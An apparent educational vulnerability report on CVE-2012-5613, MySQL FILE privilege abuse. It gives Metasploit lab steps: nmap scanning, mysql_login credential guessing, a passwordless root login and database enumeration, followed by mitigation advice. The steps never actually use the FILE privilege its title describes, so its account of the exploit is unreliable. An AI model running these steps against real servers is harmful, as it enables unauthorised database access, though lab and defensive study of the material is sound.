CVE Exploit

Sql Exploitation- (CVE-2012-5613)

Oracle MySQL Windows FILE Privilege Abuse with Manual and Metasploit Examples

Ransika A.A.P.W.R.Y

- **Vulnerability Assessment Report:** Oracle MySQL Windows FILE Privilege Abuse
- **Date:** November 1, 2023
- **Subject:** CVE-2012-5613 Exploitation and Mitigation Strategies for Oracle MySQL on Windows

---

1. Introduction

Oracle MySQL is an extensively used relational database management system. A significant security vulnerability, designated CVE-2012-5613, was reported which affects MySQL on Windows operating systems. This CVE details how authenticated users with FILE privileges could exploit these permissions to perform unauthorized actions.

2. Discovery

CVE-2012-5613 was made public on December 1, 2012. It was categorized as a serious vulnerability due to its potential to allow an authenticated user to compromise the MySQL server.

3. Technical Description

This vulnerability exploits the FILE privilege in MySQL, allowing an attacker to upload and execute arbitrary files on the server. The risk is particularly high as it could lead to a full compromise of the affected server, granting the attacker the ability to execute system-level commands with the privileges of the MySQL service account.

4. Exploitation

A Metasploit module was released, which automates the exploitation process of this vulnerability. This module simplifies the attack, allowing for the execution of arbitrary code via specially crafted SQL queries that leverage the FILE privilege.

❖Exploitation using Metasploit Framework

Step 1: Terminal Initialization

- Open a terminal on the server.

Step 2: Network Configuration Verification

- In the Metasploitable server, determine the network configuration by executing the ifconfig command to obtain the server's IP address.
    - ***Ifconfig***

- Repeat the ifconfig command in a separate Kali Linux terminal to confirm network settings.

Step 3: Target Scanning

- Perform a comprehensive network scan using Nmap to identify open ports and running services:
    - ***nmap [target_ip_address] -p- -sV -vv***

Step 4: Metasploit Framework Initialization

- Launch the Metasploit console with the following command:
    - ***Msfconsole***

Step 5: Vulnerability Search

- Within the Metasploit console, search for available MySQL exploits:
  - ***search mysql***

Step 6: Exploit Module Selection

- Select the relevant auxiliary scanner module for MySQL login:
  - ***use 17(auxiliary/scanner/mysql/mysql_login)***

Step 7: Exploit Configuration

- Display the configurable options for the selected module:
  - ***show options***

- Set the target's IP address (RHOSTS):
  - ***set RHOSTS [target_ip_address]***

- Set the path to the username list (USER_FILE):
  - ***set USER_FILE path/filename.txt***

- Confirm all options are set correctly by reviewing them once more:
  - ***show options***

Step 8: Exploitation Execution

- Initiate the exploit to test the MySQL login:
  - ***run***

    or

  - ***exploit***

Step 9: SQL Interface Access

- Open another terminal and connect to the MySQL server using the following command:
    - ***mysql -u root -h [target_ip_address]***

Step 10: Post-Exploitation Assessment

Once access is obtained, execute the following SQL commands to enumerate the database:

- List available databases:
    - ***SHOW DATABASES;***

- Select the MySQL database:
    - ***USE mysql;***

- List the tables within the MySQL database:
    - ***SHOW TABLES;***

---

5. Verification

System administrators can verify the presence of this vulnerability by using the Metasploit module in a controlled environment. It is essential to ensure that such verification processes are conducted ethically and with proper authorization.

6. Mitigation

Oracle addressed this vulnerability in later versions of MySQL. Users are strongly advised to:

- Update their MySQL server to the latest version available that includes a fix for CVE-2012-5613.
- Audit MySQL user privileges, ensuring the FILE privilege is only granted to trusted users.
- Implement additional security measures, such as network segmentation and application firewalls, to minimize the risk of exploitation.

7. Conclusion

The CVE-2012-5613 vulnerability underscores the need for careful management of user privileges and prompt application of security updates. Organizations should conduct regular audits and apply a defense-in-depth strategy to protect against such vulnerabilities.

References

Footnotes

CVE Detail - CVE-2012-5613

Metasploit Module for MySQL FILE Privilege Abuse

Oracle MySQL Security Announcements

NVD - CVE-2012-5613

END
